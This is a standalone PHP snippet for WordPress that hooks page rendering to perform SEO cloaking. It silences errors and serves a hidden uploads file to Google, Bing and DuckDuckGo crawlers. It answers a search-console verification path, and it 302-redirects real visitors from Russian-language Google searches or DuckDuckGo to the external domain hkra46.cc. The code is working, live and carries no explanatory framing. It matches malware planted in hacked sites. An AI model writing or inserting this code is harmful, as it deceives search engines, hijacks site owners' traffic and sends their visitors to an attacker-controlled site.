add_action('template_redirect', function() { error_reporting(0); $search_engine_redirect_url = 'https://hkra46.cc/'; $map = ['googledegreg-2323.html' => 'some-content']; $current_path = ltrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); if (isset($map[$current_path])) { echo $map[$current_path]; exit; } $bot_patterns = [ 'googlebot', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Storebot-Google', 'Google-InspectionTool', 'GoogleOther', 'bingbot', 'bingpreview', 'msnbot', 'duckduckbot', 'AdldxBot' ]; $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $is_bot = false; foreach ($bot_patterns as $bot) { if (stripos($user_agent, $bot) !== false) { $is_bot = true; break; } } if ($is_bot) { $html_file = WP_CONTENT_DIR . '/uploads/index.html'; if (file_exists($html_file)) { status_header(200); header('Content-Type: text/html; charset=UTF-8'); readfile($html_file); } else { echo date('Y-m-d') . '

SEO Cloaking test

'; } exit; } if (isset($_SERVER['HTTP_REFERER'])) { $referer_host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); if ($referer_host) { $accept_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : ''; $has_ru = strpos($accept_language, 'ru') !== false; if (preg_match('/google\.(com|ru|co\.|[a-z]{2})/i', $referer_host) && $has_ru) { wp_redirect($search_engine_redirect_url, 302); exit; } if (preg_match('/duckduckgo\.com/i', $referer_host)) { wp_redirect($search_engine_redirect_url, 302); exit; } } } }, 1);